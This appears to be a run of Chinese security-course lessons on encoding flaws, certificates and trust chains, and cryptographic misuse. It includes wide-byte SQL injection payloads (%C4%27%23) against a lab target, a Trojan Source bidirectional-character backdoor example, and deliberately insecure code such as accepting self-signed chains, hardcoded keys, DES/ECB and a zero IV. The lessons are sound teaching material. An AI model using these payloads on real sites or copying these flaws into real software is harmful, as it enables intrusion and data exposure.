简单思考一下Base64的规则会发现一个有趣的事情如果要编码的字节数不能被3整除那么就会无法进行Base64编码。所以完整的Base64编码规则是先使用“0”将不足的字节数在末尾补足使其能够被3整除然后再进行Base64的编码。增加的字节数在末尾用等同数量的“=”进行标记。
base64编码示例
你好hello123
5L2g5aW9aGVsbG8xMjM=
编码 v.s. 加密
通过对编码的一些讨论,我们已经了解到编码的一些特性,这里我们将编码与我们上节课学过的加密做一下简单的对比,看看它们有什么相同和不同。
编码与加密都是可逆运算-
通过对编码数据进行解码即可恢复原始数据;对加密数据解密我们同样可以获得原始数据。
编码只需要1个输入而加密需要2个输入-
选定编码函数之后,我们只需要选择待编码数据即可;而对于加密函数,除了待加密数据以外,我们还需要选择加密密钥。
编码的目的是方便数据交互,加密的目的是保护数据交互-
通过编码可以将数据在不同协议系统之间进行流转,目的在于可用性;通过加密可以将数据安全地传输,目的在于机密性。
编码 v.s. 转义
通常,转义是很容易与编码混淆的概念。因为与加密相比,转义同时具备只需要一个输入,可逆运算两个条件。但是转义与编码的使用场景是不同的,即它们的“目的”不同。
与编码便于数据交互的目的不同,转义通常有两个目的:
编码一个语句上的实体,比如设备命令或者无法被打印字符直接表示的特殊数据;
作为特殊字符引用,主要用于表示无法在当前上下文中以可打印形态录入的字符,比如回车符。
转义字符开头的字符序列被叫做转义序列通常一个转义字符并没有它自己的意思因此转义序列一般具有2个或更多字符。
通过判断二者的目的,我们可以很容易对编码和转义进行区分。
案例实战
了解了编码的基础知识接下来我们一起来研究几个与编码相关的安全问题。这几个实战案例都已经搭建在MiTuan搜索【编码漏洞合集】就可以直接使用。
宽字节注入
启动靶机之后我们可以直接看到一个支持HTTP GET请求的页面页面上告诉了我们这个示例漏洞内部的代码逻辑程序内部通过addslashes函数对用户GET请求中的str参数进行处理然后拼接到SQL语句中同时页面上也将打印实际执行的SQL语句方便我们对漏洞利用过程进行调试。
那么接下来我们就开始尝试利用这个潜在的SQL注入漏洞。
第一步是寻找注入点。由于这个页面仅支持str这一个参数的输入因此我们可以判断注入点应该就在这里。我们可以先尝试一些常规的注入方式来看一下页面的处理结果。比如通过尝试1 和1'这两种不同的输入我们发现经过addslashes函数的处理SQL语句并没有被闭合这种情况下我们是不能执行注入的。
虽然1'这个参数并没有达到让SQL语句闭合的目标但是这一次SQL语句的构造可以给我们一些新的启发
select * from user where user='1\''
通过这个完整的SQL语句我们可以发现 1 与 \ 是连续字符,这种情况下如果将 1 修改为特殊字符,使其能够通过编码组合与 \ 组成新的字符,我们就能实现编码绕过。
第二步就是实践我们的想法,找出一个能与 \ 组成新的字符的特殊字符。
通过编码工具,可以得知 \ 的GBK编码是 \x5C 经过刚刚的学习我们知道了GBK编码中汉字编码的特征所以我们只需要选取一个合适的高位字节即可。比如这里我选择了 \xC4 ,通过编码工具我们可以知道 \xC4\x5C 是汉字 腬 ,因此拼接完成之后的完整内容 \xC4\x5C\x26\x23\x33\x39\x3B 即可满足要求。
通过这些操作,我们将 1 替换为 %C4 即可实现第一步中我们的编码绕过设想。
第三步很简单,将 %C4 作为参数输入GET请求即可。要注意GET请求中的str参数需要应用URL编码格式而想要得到GB2312的URL编码只需在前面增加“%”符号即可。因此将 %C4 与 ' 一起拼接,得到的完整参数是 %C4%27 。
将我们构造的完整参数输入浏览器地址栏进行访问,可以得到页面的输出:
select * from user where user='腬''
接下来可以进一步增加其他SQL控制字符进行注入动作
str=%C4%27%23
select * from user where user='腬'#'
CVE-2021-42574
这是一个由剑桥大学的研究人员发现的漏洞,它由编码问题引起,常见于供应链污染类型漏洞。在介绍漏洞原理之前我们先来和它进行一个亲密接触:
#include <stdio.h>
#include <stdbool.h>
int main() {
bool isAdmin = false;
/* begin admins only */ if (isAdmin) {
printf("You are an admin.\n");
/* end admins only */ }
return 0;
}
上述C代码逻辑十分简单核心逻辑是判定isAdmin的bool类型并执行相应动作。按照isAdmin的初始化数值函数应该直接进入return逻辑不产生任何输出。这里我们直接运行
$> clang program.c && ./a.out
You are an admin.
神奇的事情出现了尽管isAdmin的值为False程序仍然执行了if判断分支内部的函数。
聪明的你知道这是为什么吗?
其实奥秘就在“控制字符”上。通过使用Unicode控制字符我们可以将编码的顺序进行视觉效果上的反转。比如上面的示例代码其真实代码如下
#include <stdio.h>
#include <stdbool.h>
int main() {
bool isAdmin = false;
/*RLO } LRIif (isAdmin)PDI LRI begin admins only */
printf("You are an admin.\n");
/* end admins only RLO { LRI*/
return 0;
}
可以看到在真实的代码中if 语句完全被注释符号包裹,根本不存在真实判断逻辑。
那么为什么Unicode要设置这么恶意的“欺骗性”字符呢
其实并非Unicode有恶意这里我们回顾一下Unicode诞生的原因——囊括全球文字的终极编码方案。人类社会的文化是非常丰富的以语言文字为例既有像汉字这样按照从左到右顺序读写的文字也有像阿拉伯语这样从右到左读写的文字因此为了满足这种文字应用场景Unicode提供了影响阅读顺序的控制字符。
由于近些年供应链污染攻击盛行,一旦黑客入侵软件厂商代码库或者污染了具有广泛应用的开源项目,就会造成巨大的安全威胁。
总结
这节课我们学习了加密失败的另一种安全风险形式——弱编码。
事实上关于编码的安全问题很多,主要是由于对编码和加密的算法理解有误所致,弱编码仅仅是一个浅层问题的缩影。通过了解编码的本质——信息格式的转换,就可以区分开编码与加密,进而就可以选择合适的使用场景。
从弱编码这一浅层安全问题入手这节课我们进一步解读了一些主流的编码标准让我们可以快速识别数据所属的编码类别像ASCII占位1个字节共8bit能够描述128个字符适用于英文场景GB2312与GBK占位2个字节共16bit用于中文场景GBK是GB2312的扩展Unicode与UTF-8则更为宏大用于描述全球各国的文字并且UTF-8具有变长的特征。
在了解了字符编码的基础上我们进一步探讨了常见的程序编码像URL编码其特征是以%开头因此又称百分号编码其编码结果与GBK和UTF-8的原始编码是非常相似的而Base64编码其特征是编码结果均为可打印字符并且编码结果末尾可能存在=符号主要适用场景是二进制数据的传递再进一步扩展的话其他Base编码也有相似之处。
与编码相关的更多深层次安全问题是与编码转换以及转义字符处理相关的因此在实战案例部分我选择了2个漏洞带你深入探究编码安全问题
宽字节注入问题,其发生的根源在于数据与命令的结合,但直接导火索是字符处理函数考虑不全,对于编码转换场景未经过严密的处理,产生了编码绕过的后果;
Unicode字符序列问题以CVE-2021-42574为例其发生的根源是IDE在渲染Unicode编码过程中进行了控制字符解析造成了开发人员理解代码错误引入后门或其他安全威胁。
通过这节课的学习我们可以发现编码看似是非程序开发问题但是涉及的知识和原理非常广泛同时引入的安全问题由于其逻辑晦涩也不易被发现。因此在coding过程中深刻理解编码的作用以及程序内部执行过程的编码逻辑十分重要考虑到编码引入的安全问题相对隐蔽我们也可以考虑在项目中引入优秀的SAST工具协助我们发现和定位编码层的安全问题。
思考题
除了这一讲中我们提到了两种编码漏洞还有一种同形字符编码漏洞CVE-ID是CVE-2021-42694你可以自己完成漏洞追踪及分析吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,182 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
08 数字证书:攻击者可以伪造证书吗?
你好,我是王昊天。
我们都知道www.baidu.com之所以能够访问Baidu是因为DNS在解析www.baidu.com这个记录的时候将IP地址指向了Baidu的服务器集群通过DNS协议我们可以找到正确的服务器地址。
很多时候我们在连接网络的时候没有手动设置DNS服务器地址这时我们采用的就是网关统一的默认DNS服务器。如果网关的DNS被黑客入侵并且黑客将www.baidu.com指向了自己构建的恶意网站用户就会访问错误的站点同时可能遭遇黑客的进一步控制。
那么问题来了,我们该如何判断正在访问的站点的真实性呢?
答案就是互联网证书体系,而证书体系的有效性就依赖于信任链,这就是这节课我们要一起研究的内容。
证书
我们平时在网络上常说的证书全称叫数字证书,它是一种基于公钥认证体系的电子文件,用于证明公钥持有者的身份。
一般在证书中会包含以下几类信息:
公钥信息
拥有者身份信息
数字证书认证机构对该文件的数字签名
证书持有者通过该文件(证书),即可向系统或者其他用户证明身份,从而获得对方信任并授权使用某些敏感服务。
这里我们使用Mac系统通过 launchpad -> 其他 -> 钥匙串访问 -> 系统根证书,可以查看目前系统内部预置的根证书。
简单来说,认证机构用自己的私钥对需要认证的人或组织的公钥施加数字签名并生成证书,即证书的本质就是对公钥施加数字签名。
CA 证书颁发机构
CACertificate Authority是证书的签发机构它是公钥基础设施的核心负责签发证书、认证证书、管理证书。
作为互联网信息服务商,它是如何获得证书的呢?
首先服务商要先向CA提出申请这一流程往往是线下的商务流程主要任务是确认现实生活中各种资料接下来CA会确认服务商的身份若通过审核则为服务商颁发公钥并将公钥信息与用户身份信息绑定最后CA为绑定身份的公钥信息进行签名签名结果即是证书返还给申请者。根据这个证书颁发流程我们可以发现CA也是拥有证书申请者的公钥以及私钥的。
CA通过证书赋予了服务商信任那么网上的公众用户又该如何信任CA以及获得证书的服务商呢答案是签名验证。对于CA用户可以通过验证CA的签名来证明它的合法性签名的验证过程实际上是使用公钥对私钥加密的数据段进行解密的过程而对于服务商用户则可以选择使用CA的公钥对服务商证书进行签名验证一旦验证通过即证明了证书的有效性。
根证书
自古以来,有一个千古难题 —— 鸡生蛋,蛋生鸡,那么先有鸡还是先有蛋呢?
不知道你有没有发现我们刚刚似乎遗漏了什么至关重要的东西——用户是如何验证CA签名的呢为了解决这个问题这里我们要引入一个新的概念——根证书root certificate
在密码学和计算机安全领域,根证书是属于“根证书颁发机构”的公钥证书,在公钥基础设施体系中,它是信任链的起点,是一切安全信任的基石,通常来自公认可靠的政府机关、证书颁发机构以及非营利性组织。根证书在互联网领域获得广泛认可,通常被预先安装在操作系统、浏览器等软件中。
在时效性上由于根证书的颁发和部署流程都非常复杂耗时需要包括行政人员及机构法人身份的核准所以一张根证书有效期可以长达20年以上。
一些大企业会自己研发及部署很多内部应用,他们会在内部电脑安装企业自签的根证书,以支持内部网络的企业级软件,但是由于这些证书未被广泛认可,因此只在企业内部应用环境可用。
信任链
想要了解什么是信任链,我们还要从根证书的签发说起。
由于终端直接面向用户的服务商数量巨大,根证书签发的效率又比较低,如果只有数量有限的根证书机构签发证书,将会严重影响证书授权数量。为了解决这一问题,中间商的身份被引入进来。中间商只要持有根证书机构签发的中介证书,就有权给服务商授权证书。这里服务商获得的证书叫终端实体证书。
当互联网用户访问一个网站时,浏览器会执行认证路径验证算法,使用网站所提供的电子证书去对应系统预安装的根证书,通过验证两者是否匹配来判断从根证书到终端节点的路径是否为一条有效的信任链。如下图所示,整个信任链的结构是一个以根证书为顶层的树状结构。
证书信任链的不正确回溯
在coding过程中当我们需要对证书进行验证时可能会直接调用证书验证函数来获取验证结果但是却没有对证书信任链进行有效地回溯这就可能导致错误的信任关系的产生。
简单来说,从证书验证过程获取的信任是从信任链中继承下来的,而信任链的终点是一个可信的机构实体。在通常的工作场景中,这条信任链会经过多个实体,这些实体会为信任链中的下一个实体做担保,信任链的起点就是终端用户访问的目标。
在用户获取了访问目标证书的情况下,如果想要建立信任关系,只检查第一层信任链是不够的,你需要对完整的信任链进行检查。
举例来说,以下这些场景都会导致信任链断裂:
信任链中任意一个非根节点的证书是自签发的self-signed
没有完成整个信任链中每个节点的检查;
信任链中的某个节点证书缺失一些基础信息或者额外的重要扩展信息;
信任链中上层节点证书失效或者被攻击者窃取。
示例代码:
...
cert = ssl_get_peer_certificate(ssl);
if( cert && host )
foo = ssl_get_verify_result(ssl);
if( X509_V_OK == foo || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN == foo)
return 0;
...
这是从网络上copy-paste的一段代码你可以找到上述代码有什么安全隐患吗
这段代码的安全隐患主要是由于对证书验证过程理解不深刻导致的。代码作者直接使用了网络上的代码片段而没有仔细检查逻辑使得这段代码允许了自签名证书的使用因此并未构建有效地信任链这就可能引发DNS污染或者中间人攻击等安全风险。
案例实战
Lets Encrypt
如果我们有一个正在运营的Web应用应该如何为这个Web应用配置一个SSL证书呢
这里我们来通过MiTuan了解一下业内的SSL证书生态及使用方法。
首先通过浏览器访问MiTuan主页可以发现浏览器栏左侧有一个小锁的标志这个锁的标志意味着该用户与该站点的通信受到保护通信数据对于第三方是不可见的。
接下来,点击小锁并进入安全页,可以看到目前的证书是有效的:
再接下来通过选择证书有效这个选项,我们可以打开证书信息:
可以看到mituan.zone的证书由Lets Encrypt签发它的上级信任链节点是R3证书R3证书所处的节点是一个中级证书颁发机构R3证书由ISRG根证书签发ISRG根证书属于Internet Security Research Group该机构是一个根证书颁发机构。
关于Lets Encrypt它是一个非营利性的数字证书认证机构旨在以自动化流程代替手动创建和安装证书可以为网站提供免费的传输层安全协议TLS证书。Lets Encrypt由ISRG互联网安全研究小组提供服务支撑。
从mituan.zone的访问来看Lets Encrypt的证书是有效的那么为什么Lets Encrypt签发的证书能够被识别为安全呢
在技术实现上Lets Encrypt有一个由IdenTrust签名的根证书该根证书在签署了两个子证书后离线储存两个子证书分别用于签发请求和本地备份。而IdenTrust的CA根证书已经被广泛地预置在大部分浏览器中因此Lets Encrypt签发的证书可以直接被识别用户甚至不需要在本地存放ISRG的根证书。
中间人攻击MITM
无论是开发中调试还是安全项目中的模拟渗透我们都会遇见一些场景需要调试Web应用的网络交互过程这种调试工作一般是通过Proxy工具来完成的在一般情况下Proxy工具都可以很好地完成任务但是当TLS证书存在的情况下事情会出现一些新的变化。
仍然以mituan.zone为例此时我们希望在本地proxy工具中调试登录过程让我们来试试看
我使用的是Mac OS上面的CharlesWeb Debugging Proxy应用可以看到打开Charles并启动代理流量捕获后我们并没有成功获取到mituan.zone的通信内容得到的是一个失败的说明——由于证书问题导致客户端SSL握手失败。
这是一个非常有意思的地方上面失败说明中的客户端就是我们访问mituan.zone的浏览器。要知道浏览器可是在我们自己手里要不要信任对方还不是我们说了算你说它可信它就可信但问题是浏览器说的不可信指的是谁呢
想要知道浏览器所指的certificate_unknown(46)错误究竟指谁就要了解Charles的技术实现原理。实际上Charles会自己启动一个Porxy然后将Browser的访问流量导向Proxy最后再从Proxy中将流量发到目标站点通过这样的方式实现对于通信内容的捕获。
了解了实现原理答案就很清晰了浏览器所说的证书不可信指的就是Charles的证书。
那我们接下来只需要将Charles的证书加载到系统内并设置信任即可
完成Charles的证书信任设置后我们再次尝试捕获通信内容
可以看到我们已经能够对TLS加密的HTTP请求进行内容分析了这一过程在安全领域我们就称为——中间人攻击。
总结
这节课我们学习了如何使用加密知识构建互联网安全信任体系。
在互联网出现的早期,有一句流传很广的话——“在互联网上,没人知道你是一条狗”。这句话的背后意味着互联网身份的不可信,这种特性或许在匿名社交上有很大优势,但是在互联网商业服务领域却不可接受。来自互联网的终端用户需要一种方式,使他们能够确定访问的目标主体是真正的服务商,而不是骗子伪造的站点。
为了构建互联网信任体系数字证书应运而生。它是一种基于公钥认证体系的电子文件包含服务商的身份信息、公钥信息以及数字签名。这一体系的核心是证书颁发机构也就是我们常说的CA。如果说CA是流程层面的核心那么根证书则是技术层面的核心通过信任链的层层传导才能够完成整个互联网信任体系的搭建。
在本节课的实战案例部分我们首先一起体验了TLS证书的检查以及申请过程这些知识可以帮助你快速构建起安全的Web应用接下来以Web调试需求为场景我们又一起探索了Web调试工具的技术原理以及MITMMan-In-The-Middle Attack中间人攻击的实现思路。
相信通过本节课程的学习你可以对证书以及信任链有一个清晰、整体的理解。这些知识不仅在构建安全的Web应用领域会对你产生帮助更会在加密体系加持的多种新兴技术领域让你快速成长。
思考题
你可以尝试通过OpenSSL来生成自己的root CA以及签发证书吗
欢迎在评论区留下你的思考,我们下节课再见。

View File

@ -0,0 +1,317 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
09 密码算法问题:数学知识如何提高代码可靠性?
你好我是王昊天,今天这一讲我们来一起学习密码算法问题。
温州话素以难懂著名,据传连温州附近的其他城市也很难理解。这种客观条件,为使用温州话传递秘密信息创造了土壤,因此有一种说法是,抗日战争时期中国军队使用温州话进行秘密通信。
这听起来确实还挺有可行性的,而且二战时期美军就曾使用纳瓦霍语做出类似的操作。
使用一种复杂形式的通用性语言作为“加密”方案,虽然在某种现实应用中可以奏效,但在算法选择上其实并不明智。
要知道,语言是可以翻译的。因此,如果将信息传递的安全性完全依赖于语言复杂性特质,一旦这种语言具有较大受众,对方就很可能具备该类语言的解析能力,从而使该语言失去保密效果。
在密码学中,这种使用难懂语言的加密方案可以归类到的古典密码算法,而现代社会普遍采用了现代密码学,加密信息的安全性已经不再依赖密码算法的保密性。
这一讲,我们就来一起研究密码算法的安全性。
数学层面的密码安全风险
古典密码学
古典密码学是密码学中的一个类型,主要使用替换式密码或移项式密码。尽管古典密码学由于安全性不足等问题现在已经逐渐退出实际应用了,但是我们从它开始了解密码学的发展历程,可以帮助你理解更深层的密码学原理。那么接下来,我们就来看几种经典的古典密码算法。
凯撒密码是一种广为人知的加密技术,是一种替换式密码。它的加密逻辑是非常简单的,明文中的字母按照固定偏移向后取值,结果即为密文,反之即是解密过程。
明文字母表ABCDEFGHIJKLMNOPQRSTUVWXYZ
密文字母表DEFGHIJKLMNOPQRSTUVWXYZABC
凯撒加密也可以使用更直观的数学公式来表示:
Res_Enc = ( plain_text + n ) mod 26
Res_Dec = ( cipher_text - n ) mod 26
其中n代表偏移量
可以看到如此简单的加解密逻辑在目前的技术发展下安全性是非常低的站在当下凯撒密码的影响如何我们已无从知晓但是从凯撒密码的知名度和影响力来看它确实是在当时被广泛使用的。根据现有的记载直到公元9世纪人们都没有任何技术能够破解这种最基本、最简单的替换密码要知道凯撒可是生活在公元前1世纪。
在了解凯撒密码的原理之后,如果让你来强化加密算法,你会选择什么方案呢?
也许聪明的你已经想到了,最直观的方案就是,让字母的替代逻辑更加复杂。凯撒密码是一种经典的单字母替代式密码,那么它的进阶形态就变成了多字母替代式密码,在历史上它还有一个经典的名称——维吉尼亚密码。
维吉尼亚密码的运算逻辑会稍显复杂首先会生成一个二维矩阵Matrix然后再选择一个关键字X
Matrix:
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
X:
WORD
接下来根据明文长度延展X使其和明文一样长取得Y
X: WORD
plain_text: I LOVE CRYPTOGRAPHY
Y: W ORDW ORDWORDWORDW
根据每一位的明文以及Y的取值分别匹配到Matrix的坐标即可得出密文以第一位加密为例
Matrix(W,I) = E
逐位运算即可取得加密结果:
cipher_text: E ZFYA QIBLHFJNOGKU
学习了替换式密码之后,我们再来看一下移位式密码。移位式密码,字母本身是不变的,但是传递过程中的顺序会按照特定的定义进行改变。举个最简单的例子:
plain_text: Hello World!
cipher_text: olleH !dlroW
可以看到,移位式密码的逻辑是比较简单的,更复杂的移位式密码也是在变换上更加复杂,但是底层逻辑是不变的。
现代密码学
现代密码学主要可以分为两个领域,对称密钥密码学和非对称密钥密码学,这两者之间最核心区别就是,加密和解密的密钥是否相同。
对于对称密钥密码学,还可以进一步分为分组密码与流密码两个算法种类。其中,分组密码的输入使用明文的一个区块和密钥,然后输出相同大小的密文区块;流密码相对于分组密码则更为灵活,输入中的明文可以任意长,经过与密钥轮的数学操作后,输出与明文等长的加密流。
非对称密钥密码学还有一个名字公钥密码学。其特征就是具备公钥和私钥两个不同密钥并且均可以参与加密与解密过程。使用公钥加密、私钥解密是典型的隐秘信息保护流程而使用私钥加密、公钥解密则是典型的签名流程。可以说除加密外公钥密码学最大的贡献就是实现了数字签名互联网上的PKI体系以及SSL/TLS等网络安全机制均以此为基础构建。
关于底层原理公钥密码算法的难度大多体现在计算复杂度上比如RSA源于大整数因数分解问题、DSA源于离散对数问题、椭圆曲线密码学则源于椭圆曲线相关数学难题。由于这些底层问题多涉及模数乘法或指数运算因此计算复杂度相较于对称密钥算法会更高。
为了在实际应用中达到更高的效率,普遍采用的方案是外部使用公钥密码算法,内部使用对称密钥算法,这样既可以获得公钥密码算法的优秀特性,可以获得对称密码算法的高执行效率,业内一种实践方案是信封加密。
目前,现代密码学在一些领域已经有非常前沿的实际应用场景,如交互证明、零知识、区块链与安全多方计算等。
密码算法安全性
经典密码通常很容易破解,普遍通过唯密文攻击法,在仅知密文的情况下就可以完成攻击。以凯撒密码为例,有限的密钥个数可以通过暴力破解完成攻击;替代式密码虽然有着更大的密钥数,但是会被频率分析破解;更进一步地,维吉尼亚密码使用多个替换防止简单的频率分析,但是依然可以使用更为先进的卡西斯基试验进行破解。
和经典密码学相比,现代密码学的安全性已经不依赖于加密算法的保密性,而是基于密钥的安全性,也就是说即使在密码算法完全公开的情况下,只要攻击者无法获取密钥就无法破解密文。
关于密文的破解有多种分类,其中最为普遍的划分方法是,按照攻击者获取的信息多少进行划分。在唯密文攻击中,攻击者的已知信息只有密文;在已知明文攻击中,攻击者的已知信息包括多个明文、密文对;在选择明文攻击中,攻击者可以自选任意明文,并获得相应的密文;在选择密文攻击中,攻击者可以选择任意密文,并获得相应明文。
另外一种破解分类是按照信息来源进行分类的像我们提到的4种攻击方式以及密码算法层的分析都被归类为主信道攻击与之相对的是侧信道攻击这种攻击方式重点关注加密设备在执行过程暴露的信息比如通过分析加解密时间、错误码等来进行破解。
工程实践中的密码安全风险
除了数学理论层面的安全性风险之外,在工程实践中我们也会遇到许多密码学相关的安全风险,接下来就带你了解有哪些典型的风险场景。
硬编码密钥
在一些应用系统中,开发者可能会为了方便将加密密钥硬编码在源码中,在这种情况下,一旦应用系统被入侵,攻击者将可以轻松获得密钥,从而为后续入侵、提权、持久化埋下伏笔。
int verifyAdmin( char *password)
{
if( strcmp(password, "68af404b513073584c4b6f22b6c63e6b") )
{
printf("Incorrect Password!\n");
return(0);
}
return(1);
}
随机值重用
很多密码算法在应用过程中,会涉及到随机值的使用。在一些开发场景中,开发者将随机值固定为某一数值,使得随机值发生重用,这样可能会导致身份伪装等中间人攻击行为的发生。
void encryptAndSendPassword( char *password)
{
char *tmp = "bad";
...
char *data = (unsigned char*)malloc(20);
int para_size = strlen(tmp) + strlen(password);
char *paragraph = (char*)malloc(para_size);
SHA1((const unsigned char*)paragraph, para_size, (unsigned char*)data);
...
}
不安全的加密算法
在开发过程中使用不安全的加密算法,可能会导致敏感信息的泄露,同时这会给攻击者更多攻击的机会,因为如果一个加密算法存在安全缺陷,那么对它的攻击方式很可能已经广为人知了。
也许你会好奇,是谁设计了不安全的加密算法呢?加密算法从诞生到应用,一定是经过了广泛实践检验的。但是由于近些年科技高速发展,无论是从理论算法层面发现了加密算法的缺陷,还是从算力增长的角度发现了某种现实性攻击,都使得加密算法的更新速度大幅提高,那些曾经被验证是安全的加密算法现如今也就变得不再安全了。
如下代码示例使用了DES加密算法考虑到目前DES已经被认为是不安全的因此这段代码的安全性存在缺陷在实际应用中目前普遍采用AES作为替代方案。
function encryptPassword( $password )
{
$iv_size = mcrypt_get_iv_size(MCRYPT_DS, MCRYPT_MODE_ECB);
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
$key = "This is a password encryption key";
$encrypted_password = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
...
}
可预测的初始化向量Initialization Vector, IV-
许多加密算法会使用初始化向量来强化安全性以DES加密算法为例其加密模式分为多种其中CBC模式就与初始化向量相关。在设置初始化向量的过程中如果初始化向量可以被预测那么算法的安全性就会降低。
这里我们仍然以DES算法的CBC模式为例来分析初始化向量对于加密算法安全性的影响。
在了解CBC模式前你需要先了解ECB模式这是最简单的块密码加密模式全称是电子密码本Eclectronic codebook模式ECB模式在加密前根据块的大小将明文分为若干块之后每块使用相同的密钥单独加密解密同理。
ECB模式的优势很明显首先加密逻辑非常简单其次由于上下文无关所以有利于并行计算最后仍然得益于上下文无关误差不会被传递它的劣势也是很清晰的一方面是无法隐藏明文的模式另一方面攻击者可以直接对明文进行主动攻击。
为了增强ECB模式的安全性CBC模式被引入进来。CBC全称是密码分组链接CBCCipher-block chaining模式。在CBC模式下每个明文块需要先与前一个密文块进行异或xor然后再进行加密因此每个密文块都依赖于它前面的所有明文块。那么初始化向量又是在何处被引入的呢为了保证每条消息的唯一性在第一个明文块会直接与初始化向量进行异或。用数学语言来表述如下
cipher_text_0 = IV
cipher_text_i = E_k{plain_text_i XOR cipher_text_{i-1}}
如果CBC模式下的初始化向量发生重复使用、全0设置等情况就会使同样的明文产生同样的密文结果即使初始化向量未发生重用对于攻击者来说密文仍然是可预测的这依然会使加密算法在面对选择明文攻击时的安全性大大降低。
如下代码使用CBC模式进行加密但在编码过程中将初始化向量设置为全0这就导致密文更加容易预测并且可能会面临字典攻击等安全威胁
public class Cipher {
public static void main() {
byte[] plain_text = "Hello World!".getBytes();
byte[] iv = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
KeyGenerator kg = KeyGenerator.getInstace("DES");
kg.init(56);
SecretKey key = kg.generateKey();
Cipher cipher = Cipher.getInstace("DES/CBC/PKCS5Padding");
IvParameterSpec ips = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, key, ips);
// ...
}
}
不安全的Padding
许多加密算法都支持padding机制一方面padding是为了补全明文使其满足加密算法的格式要求另一方面在padding机制产生作用后明文将更难以预测攻击者的攻击复杂度也会相应提高。以下是一种典型的错误示例
public Cipher getRSACipher() {
Cipher rsa = null;
try {
rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
}
catch (Exception e) {
// ...
}
return rsa;
}
案例实战
通过一系列典型的安全风险场景,相信你对密码安全风险已经有了更加深刻的理解。接下来我们从两个更为复杂的实战案例出发,看看它在实际应用中又能给我们什么启发。
数字签名伪造
我们知道数字签名是互联网信任体系的根基,那么数字签名是否一定是可信的呢?为了寻找答案,我们要站在攻击者的视角来审视整个体系。
设想一种场景在这种场景中攻击者试图执行一次签名诈骗攻击。首先攻击者准备了一份正常的合同m以及一份伪造的合同m_fake在不改变合同原本意义的情况下通过插入逗号、空行、空格、同义词替换等行为攻击者可以生成一系列以m和m_fake为原型的合同变体。攻击者了解在合同签署过程中使用的签名函数是f()并通过运算在所有合同变体中找到了f(m) = f(m_fake)于是攻击者可以将m带给合作方签名。在签名完成后攻击者可以将签名取下并附到m_fake上以此来证明合作方签署了m_fake合同。
再设想一种场景我们都知道在下载软件安装包时最好的情况是去官网下载一方面是来源更可信另一方面是官网同时也会披露对应安装包的MD5值供用户验证。那么如果攻击者通过碰撞的方式制造出了一个恶意应用程序同时该恶意程序的MD5值与官方安装包一致就可能会导致用户错误地安装恶意程序从而被攻击者控制。
通过这两种场景我们会发现,数字签名也未必可信。目前技术的快速发展,使得数字签名的伪造成为可能,虽然这种攻击方式的门槛仍然较高,但随着算力和算法的发展,该攻击方式的实施成本会进一步降低,这也是为什么我们需要不断探索强度更高的密码算法。
HASH碰撞与生日攻击
HASH碰撞在数学上有一个原型叫“生日攻击”问题是“一个班级需要有多少人才能保证每个同学的生日都不一样”。这里我先直接说答案你肯定会十分吃惊如果要求出现相同生日的同学概率不超过5%那么这个班只能有7个人如果概率是50%那么这个班只需要23个人。
如果按照HASH碰撞的角度来理解哈希值的空间范围是365只需要计算23个哈希就有50%的概率出现碰撞。接下来我们就以50%为标准来判断通用意义上HASH碰撞的可行性。
数学推导
这里我们仍然以生日攻击为例,来推导数学公式。如果所有人的生日都不相同,那么意味着每个同学需要在选择自己生日时,排除已经被选择掉的天数,在剩余的日期中做出选择。
p(n) = 1 · (1-1/365) · (1-2/365) · ... · (1-(n-1)/365)
参考泰勒公式:
e^x = 1 + x + x^2/2 + x^3/6 + ...
在x很小的情况下 -> e^x ≈ 1 + x
将泰勒公式带入p(n)
p(n) ≈ 1 · e^(-1/365) · (-2/365) ··· (-(n-1)/365)
= e^(-n(n-1)/730)
进一步将p(n)通用化,并将结果从不碰撞转换为碰撞的概率:
p(n,h) = 1 - e^(-n(n-1)/2h)
进行简单的数学变换:
n(p,h) = (2h·ln(1/(1-p)))^1/2
实际应用中暂时我们以50%为标准将0.5代入p
n(0.5,H) = 1.1774 · (h ^ 1/2)
抽象理解和安全验证边界
从抽象层面来看生日攻击的理念类似于以空间换时间的攻击方式。主要原因是生日攻击的目标一般是HASH碰撞而HASH计算的本质是将近乎无限的输入映射到定长或者有限长的hash串这就注定了多对一的映射关系。因此必然存在两个输入M1和M2能够满足HASH(M1)=HASH(M2)这其中的M1和M2就是我们定义的HASH碰撞攻击结果。
尤其值得注意的是这里我们探讨的HASH碰撞与生日攻击没有利用任何HASH函数内部的实现机制因此这种攻击是具有通用型的而防御方式也相对简单只需要增加HASH的长度提高攻击者的计算成本即可。
总结
